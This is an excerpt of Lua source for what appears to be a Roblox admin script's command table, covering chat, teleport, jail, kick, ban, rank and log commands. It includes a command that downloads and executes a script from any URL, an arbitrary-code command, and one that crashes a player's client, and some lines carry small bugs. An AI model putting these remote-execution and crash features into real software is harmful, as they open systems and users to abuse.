5679 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5680 local Players = STRING:Scan(Arguments[1], Speaker)
5681 for _,Player in pairs(Players) do
5682 local PreAdd = {}
5683 for _,Data in pairs(IRC.Chats) do
5684 local Error = nil
5685 if Rank == "Owner" then Error = Data[3] end
5686 table.insert(PreAdd, {Data[1], Data[2], Error})
5687 end
5688 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5689 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5690 if Rank ~= "Owner" then Error = nil end
5691 AddMessage:Invoke(UserName, Message, Error)
5692 end)
5693 SendPressed.Event:connect(function(Text)
5694 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5695 IRC:AddChat(Player.Name, Text)
5696 end)
5697 end
5698 end};
5699
5700 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5701 local Players = STRING:Scan(Arguments[1], Speaker)
5702 for _,Player in pairs(Players) do
5703 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5704 if Type == "Leave" then
5705 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5706 elseif Type == "Join" then
5707 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5708 end
5709 end)
5710 PriChat.Chatted.Event:connect(function(UserName, Message)
5711 AddMessage:Invoke(UserName, Message)
5712 end)
5713 SendPressed.Event:connect(function(Text)
5714 PriChat.Chatted:Fire(Player.Name, Text)
5715 table.insert(PriChat.Chats, {Player.Name, Text})
5716 end)
5717 end
5718 end};
5719
5720 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5721 ExecuteSafe(Arguments[1], Speaker)
5722 end};
5723
5724 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5725 local Script = REMOTE:GetURL(Arguments[1], Player)
5726 if Script then
5727 ExecuteSafe(Script, Speaker)
5728 end
5729 end, Http = true};
5730
5731 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5732 local Time = tick()
5733 local Res = REMOTE:GetURL(Arguments[1], Player)
5734 if Res then
5735 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5736 end
5737 end, Http = true};
5738
5739 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5740 CORE:RemoveAdmin(Speaker)
5741 end};
5742
5743 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5744 for _,Player in pairs(Server.Players:GetPlayers()) do
5745 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5746 end
5747 end};
5748
5749 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5750 local Players = STRING:Scan(Arguments[1], Speaker)
5751 local Debt = nil
5752 for _,Player in pairs(Players) do
5753 if not Debt then
5754 Debt = GUI:ShowDebtStats(Player)
5755 else
5756 GUI:ShowDebtStats(Player, Debt)
5757 end
5758 end
5759 end, Http = true};
5760
5761 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5762 local Players = STRING:Scan(Arguments[1], Speaker)
5763 for _,Player in pairs(Players) do
5764 GUI:CreateHUD(Player)
5765 end
5766 end};
5767
5768 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5769 local Players = STRING:Scan(Arguments[1], Speaker)
5770 for _,Player in pairs(Players) do
5771 if Player:FindFirstChild("PlayerGui") then
5772 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5773 if HUD then HUD:Destroy() end
5774 end
5775 end
5776 end};
5777
5778 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5779 local Players = STRING:Scan(Arguments[1], Speaker)
5780 GUI:Vote(Speaker, Players, Arguments[2], 30)
5781 end};
5782
5783 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5784 local Players = STRING:Scan(Arguments[1], Speaker)
5785 for _,Player in pairs(Players) do
5786 CORE:ExecuteResource("Bomb", Player.Character)
5787 end
5788 end};
5789
5790 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5791 local Players = STRING:Scan(Arguments[1], Speaker)
5792 for _,Player in pairs(Players) do
5793 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5794 CORE:RestoreCamera(Player)
5795 end
5796 end};
5797
5798 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5799 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5800 CORE:RestoreCamera(Speaker)
5801 end};
5802
5803 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5804 local Players1 = STRING:Scan(Arguments[1], Speaker)
5805 local Players2 = STRING:Scan(Arguments[2], Speaker)
5806 for _,Player1 in pairs(Players1) do
5807 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5808 for _,Player2 in pairs(Players2) do
5809 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5810 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5811 end
5812 end
5813 end
5814 end
5815 end};
5816
5817 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5818 local Players = STRING:Scan(Arguments[1], Speaker)
5819 for _,Player in pairs(Players) do
5820 Player:LoadCharacter()
5821 end
5822 end};
5823
5824 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5825 local Players = STRING:Scan(Arguments[1], Speaker)
5826 for _,Player in pairs(Players) do
5827 CORE:RestoreCamera(Player)
5828 end
5829 end};
5830
5831 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5832 local Players = STRING:Scan(Arguments[1], Speaker)
5833 for _,Player in pairs(Players) do
5834 CORE:Jail(Player)
5835 end
5836 end};
5837
5838 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5839 local Players = STRING:Scan(Arguments[1], Speaker)
5840 for _,Player in pairs(Players) do
5841 CORE:UnJail(Player)
5842 end
5843 end};
5844
5845 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5846 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5847 end};
5848
5849 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5850 SOUND:StopSpeaking()
5851 end};
5852
5853 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5854 local Players = STRING:Scan(Arguments[1], Speaker)
5855 local Compile = {}
5856 for Num,Player in pairs(Players) do
5857 local PlayerRank = RANK:GetRank(Player)
5858 local PlayerInfo = ClientInfo[Player.Name]
5859 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5860 table.insert(Compile, "User ID: "..Player.UserId)
5861 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5862 table.insert(Compile, "Rank: "..PlayerRank)
5863
5864 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5865 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5866 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5867 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5868 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5869 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5870 if PlayerInfo.Benchmark then
5871 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5872 end
5873 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5874 end
5875 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5876 end};
5877
5878 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5879 if tonumber(Arguments[2]) then
5880 local Players = STRING:Scan(Arguments[1], Speaker)
5881 for _,Player in pairs(Players) do
5882 coroutine.wrap(function()
5883 if Player.Character then
5884 table.insert(LoopKills, Player.Name)
5885 local Loop = nil
5886 local PrevChar = nil
5887
5888 for i = 1,tonumber(Arguments[2]) do
5889 local Char = Player.Character
5890 if PrevChar and PrevChar ~= Char then
5891 PrevChar:Destroy()
5892 end
5893 PrevChar = Char
5894 local CanDie = true
5895 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5896 if CanDie == false then
5897 break
5898 end
5899 ypcall(function() Char.Parent = Server.Lighting end)
5900 wait(0.1)
5901 ypcall(function() Char.Parent = Server.Workspace end)
5902 wait(0.1)
5903 end
5904 end
5905 end)()
5906 end
5907 else
5908 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5909 end
5910 end};
5911
5912 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5913 local Players = STRING:Scan(Arguments[1], Speaker)
5914 for _,Player in pairs(Players) do
5915 for Num,Name in pairs(LoopKills) do
5916 if Player.Name == Name then
5917 table.remove(LoopKills, Num)
5918 end
5919 end
5920 end
5921 end};
5922
5923 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5924 SOUND:PlayGlobalSound(Arguments[1])
5925 end};
5926
5927 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5928 SOUND:StopGlobalSound()
5929 SOUND:ClearInfo()
5930 end};
5931
5932 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5933 local Pitch = tonumber(Arguments[1])
5934 if not Pitch then Pitch = 1 end
5935 if Sound then
5936 Sound.Pitch = Pitch
5937 end
5938 end};
5939
5940 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5941 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5942 local Items = MARKET:SearchItem(9, Arguments[1])
5943 if Items then
5944 if #Items ~= 0 then
5945 local List,Correlate = {},{}
5946 for Num,Info in pairs(Items) do
5947 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5948 table.insert(List, Display)
5949 Correlate[Display] = Info.AssetId
5950 end
5951 CloseGui:Invoke()
5952
5953 local CanClick = true
5954 if Rank == "Member" then CanClick = false end
5955 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5956 Clicked.Event:connect(function(ClickName)
5957 local OldSoundId = nil
5958 SOUND:StopGlobalSound()
5959 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5960 SOUND:PlayGlobalSound(Correlate[ClickName])
5961 end
5962 end)
5963 else
5964 CloseGui:Invoke()
5965 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5966 end
5967 else
5968 CloseGui:Invoke()
5969 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5970 end
5971 end, Http = true};
5972
5973 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5974 local Players = STRING:Scan(Arguments[1], Speaker)
5975 for _,Player in pairs(Players) do
5976 if Player.Character then
5977 CORE:ExecuteResource("Gun", Player.Character)
5978 end
5979 end
5980 end};
5981
5982 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5983 local Players = STRING:Scan(Arguments[1], Speaker)
5984 for _,Player in pairs(Players) do
5985 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5986 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5987 Player.Character.Humanoid.WalkSpeed = 0
5988 Player.Character.Torso.Anchored = true
5989 coroutine.wrap(function()
5990 local OldCFrame = Player.Character.Torso.CFrame
5991 for i = 0,8,0.1 do
5992 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5993 wait()
5994 end
5995 Player.Character.Torso.Anchored = false
5996 Player.Character:BreakJoints()
5997 CORE:InvisiblePlayer(Player)
5998 end)()
5999 end
6000 end
6001 end};
6002
6003 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6004 local Players = STRING:Scan(Arguments[1], Speaker)
6005 for _,Player in pairs(Players) do
6006 CORE:AnchorPlayer(Player)
6007 end
6008 end};
6009
6010 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6011 local Players = STRING:Scan(Arguments[1], Speaker)
6012 for _,Player in pairs(Players) do
6013 CORE:UnanchorPlayer(Player)
6014 end
6015 end};
6016
6017 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6018 local Players = STRING:Scan(Arguments[1], Speaker)
6019 for _,Player in pairs(Players) do
6020 CORE:InvisiblePlayer(Player)
6021 end
6022 end};
6023
6024 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6025 local Players = STRING:Scan(Arguments[1], Speaker)
6026 for _,Player in pairs(Players) do
6027 CORE:VisiblePlayer(Player)
6028 end
6029 end};
6030
6031 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6032 local Players = STRING:Scan(Arguments[1], Speaker)
6033 for _,Player in pairs(Players) do
6034 if Player.Character and Player.Character:FindFirstChild("Torso") then
6035 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6036 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6037 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6038 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6039 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6040 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6041 Fly:Play()
6042 local Touched = false
6043 coroutine.wrap(function()
6044 repeat wait(0.1)
6045 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6046 until not Ast or Ast.Parent == nil or Touched == true
6047 end)()
6048 Ast.Touched:connect(function(Part)
6049 if Touched == false then
6050 Touched = true
6051 Part:BreakJoints()
6052 local Boom = Instance.new("Explosion", Workspace)
6053 Boom.Position = Ast.Position
6054 Boom.BlastPressure = 1000000
6055 Boom.BlastRadius = 30
6056 Fire.Heat = 0
6057 Smoke.RiseVelocity = 0
6058 Fly:Stop()
6059 BoomSound:Play()
6060 coroutine.wrap(function()
6061 wait(3)
6062 BoomSound:Stop()
6063 if Ast and Ast.Parent ~= nil then
6064 Ast:Destroy()
6065 end
6066 end)()
6067 end
6068 end)
6069 end
6070 end
6071 end};
6072
6073 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6074 local Success = {}
6075 local Players = STRING:Scan(Arguments[1], Speaker)
6076 for _,Player in pairs(Players) do
6077 local PlayerRank = RANK:GetRank(Player)
6078 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6079 CORE:Kick(Player)
6080 table.insert(Success, Player)
6081 end
6082 end
6083 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6084 end};
6085
6086 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6087 local Success = {}
6088 local Players = STRING:Scan(Arguments[1], Speaker)
6089 for _,Player in pairs(Players) do
6090 local PlayerRank = RANK:GetRank(Player)
6091 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6092 RANK:RemoveRank(Player)
6093 table.insert(Settings.Ranks.Banned, Player.Name)
6094 CORE:Kick(Player)
6095 table.insert(Success, Player)
6096 end
6097 end
6098 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6099 end};
6100
6101 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6102 local Success = {}
6103 local Players = STRING:Scan(Arguments[1], Speaker)
6104 for _,Player in pairs(Players) do
6105 local PlayerRank = RANK:GetRank(Player)
6106 if PlayerRank ~= "Owner" then
6107 RANK:RemoveRank(Player)
6108 table.insert(Settings.Ranks.Crashed, Player.Name)
6109 CORE:Crash(Player)
6110 table.insert(Success, Player)
6111 end
6112 end
6113 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6114 end};
6115
6116 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6117 local Success = {}
6118 local Players = STRING:Scan(Arguments[1], Speaker)
6119 for _,Player in pairs(Players) do
6120 local PlayerRank = RANK:GetRank(Player)
6121 if PlayerRank ~= "Owner" then
6122 RANK:RemoveRank(Player)
6123 table.insert(Settings.Ranks.Muted, Player.Name)
6124 GUI:CoreGui(Player, "Chat", false)
6125 table.insert(Success, Player)
6126 end
6127 end
6128 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6129 end};
6130
6131 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6132 local Players = STRING:Scan(Arguments[1], Speaker)
6133 if #Players > 0 then
6134 local Success = {}
6135 for _,Player in pairs(Players) do
6136 local RankName,RankNum = RANK:GetRank(Player)
6137 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6138 if not RANK:IsSupremeOwner(Player) then
6139 if RankName == "Muted" then
6140 GUI:CoreGui(Player, "Chat", true)
6141 end
6142 if RankNum > 0 then
6143 GUI:TellNotAdmin(Player)
6144 end
6145 RANK:RemoveRank(Player)
6146 table.insert(Success, Player)
6147 end
6148 end
6149 end
6150 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6151 else
6152 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6153 if Player then
6154 local RankNum = RANK:ConvertRank(PlayerRank)
6155 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6156 if not RANK:IsSupremeOwner(Player) then
6157 RANK:RemoveRank(Player)
6158 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6159 end
6160 end
6161 end
6162 end
6163 end};
6164
6165 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6166 local Players = STRING:Scan(Arguments[1], Speaker)
6167 if #Players > 0 then
6168 local Success = {}
6169 for _,Player in pairs(Players) do
6170 local PlayerRank,RankNum = RANK:GetRank(Player)
6171 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6172 RANK:RemoveRank(Player)
6173 table.insert(Settings.Ranks.Member, Player.Name)
6174 GUI:TellAdmin(Player)
6175 table.insert(Success, Player)
6176 end
6177 end
6178 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6179 else
6180 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6181 if Player then
6182 local RankNum = RANK:ConvertRank(PlayerRank)
6183 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6184 if not RANK:IsSupremeOwner(Player) then
6185 RANK:RemoveRank(Player)
6186 table.insert(Settings.Ranks.Member, Player)
6187 end
6188 end
6189 else
6190 RANK:RemoveRank(Arguments[1])
6191 table.insert(Settings.Ranks.Member, Arguments[1])
6192 end
6193 end
6194 end};
6195
6196 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6197 local Players = STRING:Scan(Arguments[1], Speaker)
6198 if #Players > 0 then
6199 local Success = {}
6200 for _,Player in pairs(Players) do
6201 local PlayerRank,RankNum = RANK:GetRank(Player)
6202 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6203 RANK:RemoveRank(Player)
6204 table.insert(Settings.Ranks.Admin, Player.Name)
6205 GUI:TellAdmin(Player)
6206 table.insert(Success, Player)
6207 end
6208 end
6209 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6210 else
6211 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6212 if Player then
6213 local RankNum = RANK:ConvertRank(PlayerRank)
6214 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6215 if not RANK:IsSupremeOwner(Player) then
6216 RANK:RemoveRank(Player)
6217 table.insert(Settings.Ranks.Admin, Player)
6218 end
6219 end
6220 else
6221 RANK:RemoveRank(Arguments[1])
6222 table.insert(Settings.Ranks.Admin, Arguments[1])
6223 end
6224 end
6225 end};
6226
6227 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6228 local Players = STRING:Scan(Arguments[1], Speaker)
6229 if RANK:IsSupremeOwner(Speaker) then
6230 if #Players > 0 then
6231 local Success = {}
6232 for _,Player in pairs(Players) do
6233 if not RANK:IsSupremeOwner(Player) then
6234 RANK:RemoveRank(Player)
6235 table.insert(Settings.Ranks.Owner, Player.Name)
6236 GUI:TellAdmin(Player)
6237 table.insert(Success, Player)
6238 end
6239 end
6240 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6241 else
6242 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6243 if Player then
6244 local RankNum = RANK:ConvertRank(PlayerRank)
6245 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6246 if not RANK:IsSupremeOwner(Player) then
6247 RANK:RemoveRank(Player)
6248 table.insert(Settings.Ranks.Owner, Player)
6249 end
6250 end
6251 else
6252 RANK:RemoveRank(Arguments[1])
6253 table.insert(Settings.Ranks.Owner, Arguments[1])
6254 end
6255 end
6256 end
6257 end};
6258
6259 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6260 local TableStorage = {}
6261 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6262 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6263 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6264 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6265 end};
6266
6267 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6268 local TableStorage = {}
6269 for _,Player in pairs(Server.Players:GetChildren()) do
6270 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6271 if ValidAdmin then
6272 if PlayerRank == "Owner" then
6273 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6274 else
6275 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6276 end
6277 end
6278 end
6279 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6280 end};
6281
6282 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6283 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6284 end};
6285
6286 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6287 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6288 end};
6289
6290 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6291 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6292 end};
6293
6294 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6295 local TableStorage = {}
6296 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6297 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6298 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6299 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6300 end};
6301
6302 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6303 local TableStorage = {}
6304 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6305 for Num,PlayerName in pairs(PlayerNames) do
6306 if PlayerRank == "Owner" then
6307 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6308 else
6309 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6310 end
6311 end
6312 end
6313 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6314 end};
6315
6316 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6317 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6318 end};
6319
6320 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6321 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6322 end};
6323
6324 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6325 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6326 end};
6327
6328 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6329 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6330 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6331 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6332 end};
6333
6334 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6335 CommandLogs = {}
6336 end};
6337
6338 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6339 ChatLogs = {}
6340 end};
